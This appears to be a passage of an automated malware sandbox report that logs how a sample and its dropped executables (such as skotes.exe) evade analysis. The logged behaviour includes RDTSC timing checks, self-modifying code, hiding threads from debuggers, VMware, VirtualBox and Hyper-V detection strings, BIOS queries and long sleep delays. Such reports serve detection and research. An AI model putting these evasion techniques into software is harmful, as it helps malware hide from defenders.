Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F3A8 second address: F6F403 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 5B1304EBh 0x00000012 mov dword ptr [ebp+122D29EBh], edi 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FF8A11CF038h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov ecx, 22F0E7B1h 0x00000039 mov esi, eax 0x0000003b push 00000000h 0x0000003d mov edi, dword ptr [ebp+122D2C86h] 0x00000043 push 00000003h 0x00000045 mov dword ptr [ebp+122D1C04h], ebx 0x0000004b mov cl, 75h 0x0000004d push 55C70593h 0x00000052 push ecx 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F403 second address: F6F439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 add dword ptr [esp], 6A38FA6Dh 0x0000000d mov edx, dword ptr [ebp+122D2C76h] 0x00000013 lea ebx, dword ptr [ebp+12453F34h] 0x00000019 add dword ptr [ebp+122D29EBh], eax 0x0000001f or esi, dword ptr [ebp+122D2AA6h] 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 jmp 00007FF8A119817Ch 0x0000002e pop edi 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F6F439 second address: F6F450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F80510 second address: F8052E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF8A119817Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FF8A1198178h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	RDTSC instruction interceptor: First address: F8D66D second address: F8D673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4C3B91 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 660904 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6F0A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Special instruction interceptor: First address: DEEDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Special instruction interceptor: First address: F9B517 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Special instruction interceptor: First address: F9229A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Special instruction interceptor: First address: 6B18AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Special instruction interceptor: First address: 85E0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Special instruction interceptor: First address: 85CCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Special instruction interceptor: First address: 8865EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Special instruction interceptor: First address: 863ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Special instruction interceptor: First address: 8E6ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 67EDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 82B517 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 82229A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Special instruction interceptor: First address: 1013B91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Special instruction interceptor: First address: 11B0904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Special instruction interceptor: First address: 1240A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Special instruction interceptor: First address: 11218AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Special instruction interceptor: First address: 12CE0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Special instruction interceptor: First address: 12CCCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Special instruction interceptor: First address: 12F65EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Special instruction interceptor: First address: 12D3ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Special instruction interceptor: First address: 1356ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Special instruction interceptor: First address: 303B91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Special instruction interceptor: First address: 4A0904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Special instruction interceptor: First address: 530A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Special instruction interceptor: First address: 5718AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Special instruction interceptor: First address: 71E0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Special instruction interceptor: First address: 71CCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Special instruction interceptor: First address: 7465EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Special instruction interceptor: First address: 723ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Special instruction interceptor: First address: 7A6ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Special instruction interceptor: First address: 4E3B91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Special instruction interceptor: First address: 680904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Special instruction interceptor: First address: 710A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Special instruction interceptor: First address: 10118AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Special instruction interceptor: First address: 11BE0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Special instruction interceptor: First address: 11BCCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Special instruction interceptor: First address: 11E65EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Special instruction interceptor: First address: 11C3ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Special instruction interceptor: First address: 1246ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Special instruction interceptor: First address: C03B91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Special instruction interceptor: First address: DA0904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Special instruction interceptor: First address: E30A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Special instruction interceptor: First address: F818AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Special instruction interceptor: First address: 112E0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Special instruction interceptor: First address: 112CCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Special instruction interceptor: First address: 11565EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Special instruction interceptor: First address: 1133ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Special instruction interceptor: First address: 11B6ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Special instruction interceptor: First address: 8CEDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Special instruction interceptor: First address: A7B517 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Special instruction interceptor: First address: A7229A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Special instruction interceptor: First address: F518AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Special instruction interceptor: First address: 10FE0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Special instruction interceptor: First address: 10FCCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Special instruction interceptor: First address: 11265EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Special instruction interceptor: First address: 1103ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Special instruction interceptor: First address: 1186ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Special instruction interceptor: First address: FEDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Special instruction interceptor: First address: 2AB517 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Special instruction interceptor: First address: 2A229A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

Code function: 4_2_05690BF7 rdtsc

4_2_05690BF7

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

API coverage: 3.6 %

Source: C:\Users\user\Desktop\file.exe TID: 7568	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7596	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6744	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6940	Thread sleep count: 44 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6940	Thread sleep time: -88044s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7936	Thread sleep count: 334 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7936	Thread sleep time: -10020000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7028	Thread sleep count: 43 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7028	Thread sleep time: -86043s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6936	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6740	Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6740	Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 692	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7936	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 4500	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 5888	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 5216	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 5572	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 4176	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 4628	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 6112	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 2908	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 6440	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 6468	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 6308	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe TID: 7628	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe TID: 7920	Thread sleep time: -132000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe TID: 420	Thread sleep count: 116 > 30
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe TID: 420	Thread sleep time: -696000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe TID: 4336	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 3760	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 7632	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe TID: 7076	Thread sleep time: -138000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe TID: 1120	Thread sleep count: 48 > 30
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe TID: 1120	Thread sleep time: -288000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe TID: 3892	Thread sleep time: -132000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0021DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_0021DBBE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_002268EE FindFirstFileW,FindClose,	6_2_002268EE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0022698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_0022698F
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0021D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_0021D076
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0021D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_0021D3A9
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00229642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00229642
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0022979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_0022979D
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00229B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_00229B2B
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00225C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_00225C97

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_001B42DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: file.exe, 9b7d422018.exe.26.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware'
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarec
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@>
Source: KGMUJDGOAL6LWD7UD45LIZ.exe, 00000004.00000003.1965671448.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp&
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp, 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2658370035.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BC5000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 00000015.00000003.2250235920.0000016C7F6C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: 9b7d422018.exe, 0000001B.00000003.2658370035.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj8
Source: file.exe, 9b7d422018.exe.26.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

Code function: 4_2_05690149 Start: 0569023F End: 0569016B

4_2_05690149

